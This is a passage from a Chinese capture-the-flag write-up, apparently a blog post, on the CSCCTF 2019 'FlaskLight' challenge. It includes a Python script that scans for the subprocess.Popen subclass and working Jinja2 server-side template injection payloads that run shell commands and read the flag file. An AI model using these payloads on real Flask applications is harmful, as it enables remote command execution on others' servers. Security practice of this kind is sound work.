[CSCCTF 2019 Qual]FlaskLight

get方法请求结合题目试试ssti

说明确实存在ssti
读取文件成功但是读不了app.py,命令执行也被禁止,看看大佬怎么bypass的
先写个脚本爆出可利用的类
import requests
import re
import html
import time
index = 0
for i in range(170, 1000):
try:
url = "http://aa86b4ee-a0a7-4634-8ef2-f4e80e7613ce.node3.buuoj.cn/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
r = requests.get(url)
res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)
time.sleep(0.1)
# print(res)
# print(r.text)
res = html.unescape(res[0])
print(str(i) + " | " + res)
if "subprocess.Popen" in res:
index = i
break
except:
continue
print("indexo of subprocess.Popen:" + str(index))
可以看到是第258找到了subprocess.Popen方法
subprocess.Popen(“command”)
说明:
class subprocess.Popen(args, bufsize=0, executable=None, stdin=None, stdout=None, stderr=None, preexec_fn=None, close_fds=False, shell=False, cwd=None, env=None, universal_newlines=False, startupinfo=None, creationflags=0)
payload
?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

本文介绍了在CSCCTF 2019 Qual的FlaskLight挑战中,如何利用 SSTI(Server-Side Template Injection)漏洞尝试读取文件和执行命令。通过get方法请求发现存在SSTI,并尝试通过subprocess.Popen执行命令,但app.py无法读取,命令执行也受到限制。最终找到了第258行的subprocess.Popen方法作为payload突破口。
1412

被折叠的 条评论
为什么被折叠?



